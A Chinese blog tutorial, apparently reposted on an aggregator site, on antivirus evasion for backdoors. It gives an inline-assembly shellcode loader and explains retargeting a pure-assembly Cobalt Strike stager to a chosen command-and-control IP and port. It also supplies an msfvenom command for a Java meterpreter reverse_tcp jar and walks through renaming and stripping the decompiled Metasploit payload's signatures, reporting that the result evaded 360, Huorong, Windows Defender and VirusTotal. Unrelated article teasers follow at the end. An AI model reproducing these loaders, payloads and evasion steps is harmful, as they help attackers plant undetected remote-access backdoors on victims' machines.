免杀对抗—javaASMMSF源码特征修改汇编调用CS内联C

前言

今天讲最后的两个语言java和汇编,那么基本所有语言就讲了一个遍了。java在后门免杀这一块呢其实是有点鸡肋的,其它语言编译成的是exe,而java编译成的是jar包,而jar包又得有java环境才能运行,不像exe是个电脑都行。虽说jar包可以转变成exe,但是过程相当麻烦,而且实际利用不太现实,这是因为java的语言特性决定的。汇编相对java来说好一点,但是汇编太底层了,而且网上关于汇编的资料比较少,你想系统学习的难度是比较大的,我只是仅仅懂一点点,所以介绍汇编的时候不会讲太多汇编的知识,基本都是拿别人的源码来用。

实验环境

360,火绒,WD,VT。

内联C混编

这个前面我们讲C++的时候是有讲过一点的,其实就是C和汇编的混合使用。比如说下面这个,就是一个典型的用C调用汇编代码来加载shellcode,当然这个没啥用,直接被杀掉了。

int main() {__asm {lea eax, bufcall eax}
}

今天就讲一个更为复杂一点的混编,可以看到加载方式明显不一样了,其实就是把上面的功能用更多的代码来取代。

int main() {LPVOID lp = GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAlloc");size_t dw_size = sizeof(buf);void* exec = NULL;__asm{push 0x40; //可读可写可执行页参数入栈push 0x1000; //MEM_COMMIT参数值入栈mov eax, dw_size; //定义空间大小push eax; //将空间大小入栈push 0; //由系统自行决定内存空间起始地址入栈mov eax, lp; //移动到virtualAlloc函数地址call eax; //运行该函数mov exec, eax;//调用地址}LPVOID op = GetProcAddress(LoadLibraryA("kernel32.dll"), "RtlMoveMemory");__asm{mov eax, dw_size;push eax;lea eax, buf;push eax;mov ecx, exec;push ecx;mov eax, op;call eax;}__asm{jmp exec;}return 0;
}

直接测试一下效果吧,火绒被查杀了。

WD又查杀到了。

360也查杀到了。

说明效果还是不行,还得写,不过呢今天的重点也不是这个。

汇编调用CS

我们可以先看一篇大佬的文章,虽然是两年前的文章了,但我们可以学习其中的思路。

奇安信攻防社区-编译汇编代码实现免杀 (butian.net)

正常来说的我们shellcode上线的流程是,生成shellcode—>语言加载运行shellcode—>编译exe运行上线。但是这篇文章的思路呢就是直接跳过了第一步,也就是我不生成shellcode,我已经提前分析好CS上线的原理,然后用汇编代码编写,利用CS的上线原理将shellcode上线。举个例子,国家发行货币—>你有了货币—>使用货币购买东西,但是现在我不需要国家发行货币了,因为我自己知道货币制作的原理和工艺,那么我自己根据原理和工艺去把普通的纸弄成货币去买东西。

从文章可以看到代码全是汇编编写的,要想完全搞懂代码的意思是很难的,要求你有扎实的汇编基础,我们只需知道怎么利用代码即可。

我们关注一下这个代码,从注释中我们可以知道这是IP地址解密,从代码中可以知道是把func5_param这个变量压入栈中。

我们找一下func5_param这个变量,这一串估计就是汇编编写的IP地址了。

这应该是加密过的,因为下面有解密的操作,所以直接转10进制是不行的。我们可以把它编译成exe,然后运行起来看它的进程连接情况,文章说使用masm32这个ida进行编译,在masm32/bin目录下执行文章给的命令即可。

ml /c /coff /Cp 1.asm                #编译为obj文件link /subsystem:windows 1.obj        #生成exe文件

第一条命令执行后会生成一个1.obj文件。

执行第二条命令生成exe。

我们现在直接运行1.exe来查看它一个连接情况,我们可以看到它是连接到了10.130.4.204的82端口。

结合刚刚汇编代码看到的加密之后的IP,我们不妨大胆猜想一下规律。

利用我们发现的规律,对IP192.168.80.134进行加密然后替换源代码的IP,并且在192,168,80,128主机进行监听82端口,看看是否有连接,记得末尾加00h。

可以看到是成功连接到的了,只不过我这里显示的是计算机名DESKTOP—7FMQMK6而已.

现在IP的问题解决了,再来看看端口的代码,关注这个push语句,把52h这个值压入栈,而且注释也说了是端口,52从16进制转为10进制就是82,和我们刚刚的连接端口对得上。

那么现在把IP改为CS监听的地址,端口改为监听端口不就可以实现上线CS了吗。

还有一点要注意,这里的协议走的是HTTP,我们监听器也要选择http,或者改一下源码。

编译成exe执行,成功上线CS。

测试一下免杀性,WD过不了

火绒静态查杀能过,也可运行上线,但是只要执行命令有交互行为就被查杀了。

360能查杀到。

其实汇编的免杀效果是最好的,因为它是个底层的语言,而且这里源码并没有存在shellcode和加载器,它是分析了CS的上线原理,然后用纯汇编编写的一个代码。至于为啥这里的免杀效果不好,那是因为这是两年前的文章了,现在都2024年了,黄花菜都凉啦。只不过我们可以学习这个思路,然后自己用汇编编写,但是恕我无能为力了,汇编真滴太难了。

Java

说实话这个其实没啥太大的作用,因为Java是个开发语言,打包成的是jar包不是exe。

原生态

先试试原生态的,这里我用MSF生成的jar文件,因为CS生成的是shellcode,不支持生成jar。

msfvenom -p java/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx -f jar -o msf.jar

输入命令直接上线,免杀性不用说,三个都杀了。

java -jar msf.jar

那么现在就是两种情况,一种是对方有Java环境,那么我们就直接上传jar包,如果对方没有Java环境那么我们就把jar包再次打包成exe。所以就有两个思路,一是直接对jar包免杀,二是对打包成的exe进行免杀。

MSF特征源码修改

我们利用jd-gui这个工具对我们的jar包进行反编译,这个是专门反编译class文件的,也可以利用IDA。

反编译后保存,我们来分析一下源码。

可以看到metasploit.dat文件里面保存的是我们的监听端口和监听地址。

MANIFEST.MF文件里面应该是配置文件,版本是1.0,Main-Class呢就是主函数入库指向metasploit.Payload,权限是所有权限,名字是metasploit.dat,指向metasploit/Payload.class。

再看payload.java这个文件,有个main函数,jar包运行就进入里面执行代码。被杀的原因就是无论你咋生成,它反编译后的源码都是一个套路的,所以我们要去改掉它的源码特征。

首先改文件名字,metasploit这个名字傻子都能看出来不是啥好玩意,我们把里面的payload.java这个文件拖出来改为Main.java,把metasploit这个文件夹去掉,metasploit.dat里面的内容去掉,改为config。

MANIFEST.MF配置文件修改如下,test应该是config的,我懒得再截图了。

接下来就是test2.java的源码修改,就是把一些可有可无的代码删除,还有一些文件名替换为我们刚刚修改的文件名。

我们可以看这一部分代码,new Socket新建了一个socket隧道,IP为str4,端口为j。

 我们追踪一下 str4 和 j 这两个参数,可以看到它们的值都是从properties 对象中通过getProperty方法获取的。

继续追踪一下properties这个对象,可以看到properties的值是从inputStream中读取的,而inputStream的值是读取了metasploit.dat文件,这个文件里面的内容就是IP和端口。

由于这涉及了Java方面的开发知识,再加上我不是很懂Java,所以我就直接用别人替换好的源码了,直接修改IP和端口就能用了。

值得注意的是Integer(string)这个函数已经被Java标记为过时了,2022年还可以用,现在随着JDK版本越来越高,已经用不了了,要改为这样写法。

int j = Integer.parseInt("6688");

输入命令封装成class文件,只有class文件才能打包成jar。

javac Main.java

接下来是编译成jar包,在编译成jar包的时候,报了个错,大概的意思是我打包成class文件的环境是java22,但是运行环境只支持java8,然后又更新了java环境,所以就有点麻烦。

jar cvfm wlw.jar META-INF/MANIFEST.MF .

运行起来能接收到,但是不知道为啥会话马上就结束了,我又测试了一下原生态上线也不行,说明不是我们生成的jar包的问题,奇怪明明昨天还行的。

免杀效果还是可以的,360、火绒、WD均没有查杀出来,VT居然没有报。


jar打包成exe

说实话这个其实不太现实,而且很麻烦,用到exe4j和innosetup-6.2.1这两个工具,可以看一下下面博客的文章,说实话,里面有教程,自己照着打包就行,因为是在麻烦且鸡肋我就不搞了。

链接:Java jar打包成exe应用程序的详细步骤_java_脚本之家

总结

基本常见的语言都讲了一遍了,其中提到的技术无论是哪种语言都是通用的,只要你可以把它写得出来。不难看出修改源码特征的免杀效果是比较好的,还有就是不公开或者自己写的shellcode加密脚本,总之无论是对shellcode修改还是加载器,亦或是源码的修改,最终的目的都只是去除后门的特征,逃过杀软。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1556645.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

数据分析案例-机器学习工程师薪资数据可视化分析

🤵‍♂️ 个人主页:艾派森的个人主页 ✍🏻作者简介:Python学习者 🐋 希望大家多多支持,我们一起进步!😄 如果文章对你有帮助的话, 欢迎评论 💬点赞&#x1f4…

揭秘AI写作工具:如何改变内容创作新格局

小伙伴们,今儿咱们来聊聊那些个让人眼前一亮、脑洞大开的AI写作神器——笔灵AI写作、宙语AI写作、博思白板AI写作,还有讯飞星火,它们啊,简直就是文案人儿的超级辅助,让咱们写东西的时候,灵感嗖嗖地往外冒&a…

利士策分享,彩礼能否临时增加?

利士策分享,彩礼能否临时增加? 在中国的传统婚俗中,彩礼作为男方家庭向女方家庭表达诚意与尊重的一种方式,承载着丰富的文化内涵。 然而,在现代社会,彩礼的多少、是否临时增加等问题,却常常成为…

LLM大模型企业应用实战-“消灭”LLM幻觉的利器

大模型一定程度改变了我们生活工作的思考方式,越来越多的个人和企业在思考如何将大模型应用到更加实际的生产生活。 1 LLM的问题 1.1 幻觉 LLM因为是一个预训练模型,它已有一些知识储备,我们提的问题跟他的知识储备不相符时,会…

小目标检测利器:YOLOv8+SAHI使用教程

《博主简介》 小伙伴们好,我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 ✌更多学习资源,可关注公-仲-hao:【阿旭算法与机器学习】,共同学习交流~ 👍感谢小伙伴们点赞、关注! 《------往期经典推…

MySQL连接查询:自连接

先看我的表结构 emp表 自连接也就是把一个表看作是两个作用的表就好,也就是说我把emp看作员工表,也看做领导表 自连接 基本语法 select 字段列表 FROM 表A 别名A JOIN 表A 别名B ON 条件;例子1:查询员工 及其 所属领导的名字 select a.n…

《从零开始大模型开发与微调》真的把大模型说透了!零基础入门一定要看!

2022年底,ChatGPT震撼上线,大语言模型技术迅速“席卷”了整个社会,人工智能技术因此迎来了一次重要进展。与大语言模型相关的研发岗薪资更是水涨船高,基本都是5w月薪起。很多程序员也想跟上ChatGPT脚步,今天给大家带来…

【C++指南】类和对象(二):类的默认成员函数——全面剖析 :构造函数

💓 博客主页:倔强的石头的CSDN主页 📝Gitee主页:倔强的石头的gitee主页 ⏩ 文章专栏:《C指南》 期待您的关注 ​ 阅读本篇文章之前,你需要具备的前置知识:类和对象的基础 点击下方链接 【C指南…

顶会论文复现:PROVING TEST SET CONTAMINATION IN BLACK BOX LANGUAGE MODELS

文章目录 1 资料2 我的总结3 复现源码首先你需要有gpt的api接口安装:数据集执行指令源码 4 结果 1 资料 我复现的源码:https://github.com/Whiffe/test_set_contamination 官网源码:https://github.com/tatsu-lab/test_set_contamination 论文&#x…

Java实体对象转换利器MapStruct详解

概述 现在的JAVA项目多数采用分层结构,参考《阿里巴巴JAVA开发手册》。 分层之后,每一层都有自己的领域模型,即不同类型的 Bean:  DO ( Data Object ) :与数据库表结构一一对应,…

游戏盾是如何解决游戏行业攻击问题

随着游戏行业的迅猛发展,其高额的利润和激烈的市场竞争吸引了众多企业和创业者的目光。然而,这一行业也面临着前所未有的业务和安全挑战,尤其是DDoS(分布式拒绝服务)攻击,已经成为游戏行业的一大威胁。今天…

C语言基础(10)之指针(2)

在上一篇文章中我们谈到了指针,并给老铁们讲解了什么是指针、指针类型、野指针以及指针运算等知识。在这篇文章中小编将继续带大家了解指针的相关知识点。 1. 指针和数组 指针和数组之间又能有什么联系呢?在谈这个之前,我们先来讲讲指针和数…

Android15车载音频之Virtualbox中QACT实时调试(八十八)

简介: CSDN博客专家、《Android系统多媒体进阶实战》一书作者 新书发布:《Android系统多媒体进阶实战》🚀 优质专栏: Audio工程师进阶系列【原创干货持续更新中……】🚀 优质专栏: 多媒体系统工程师系列【原创干货持续更新中……】🚀 优质视频课程:AAOS车载系统+…

微信小程序开发-调试及配置文件介绍

一,隐藏控制台系统日志 在小程序开发中,如果你想要隐藏控制台中的系统日志,可以通过以下步骤进行操作: 打开小程序的开发工具。在开发工具的控制台(Console)中,找到你想要隐藏的系统日志。右键点击该系统日志条目。在…

MySQL连接查询:外连接

先看我的表结构 dept表 emp表 外连接分为 1.左外连接 2.右外连接 1.左外连接 基本语法 select 字段列表 FORM 表1 LEFT [OUTER] JOIN 表2 ON 条件;例子:查询emp表的所有数据,和对应部门的员工信息(左外连接) select e.*, d.n…

利士策分享,旅游是否要舟车劳顿才能尽兴?

利士策分享,旅游是否要舟车劳顿才能尽兴? 国庆假期,当夜幕降临,城市灯火阑珊,一场关于美食与等待的较量悄然上演。 李女士在北京天坛公园附近餐厅的等位经历——前方1053桌的壮观景象,不仅让人咋舌&#xf…

信息学奥赛复赛复习14-CSP-J2021-03网络连接-字符串处理、数据类型溢出、数据结构Map、find函数、substr函数

PDF文档回复:20241007 1 P7911 [CSP-J 2021] 网络连接 [题目描述] TCP/IP 协议是网络通信领域的一项重要协议。今天你的任务,就是尝试利用这个协议,还原一个简化后的网络连接场景。 在本问题中,计算机分为两大类:服务机&#x…

3. BBP系列运动控制板(飞控板)简介

3.1. 概述 Bread Board Pilot(简称BBP) 是在积累了前期 Single Pilot 及 PH7 飞控板大量设计及使用经验的基础上,全新基于PH47代码框架开发的高灵活性, 高性能, 超低成本的最新一代飞控板设计。 目前,因为其使用便捷灵活&#xf…

Hallo部署指南

一、介绍 Hallo是由复旦大学、百度公司、苏黎世联邦理工学院和南京大学的研究人员共同提出的一个AI对口型肖像图像动画技术,可基于语音音频输入来驱动生成逼真且动态的肖像图像视频。 该框架采用了基于扩散的生成模型和分层音频驱动视觉合成模块,提高了…

【AI知识点】正则化(Regularization)

正则化(Regularization) 是机器学习和统计学中的一种技术,用于防止模型过拟合。在训练模型时,模型可能会过度拟合训练数据,导致在新数据上的表现较差。正则化通过在优化过程中引入额外的约束或惩罚项,使模型…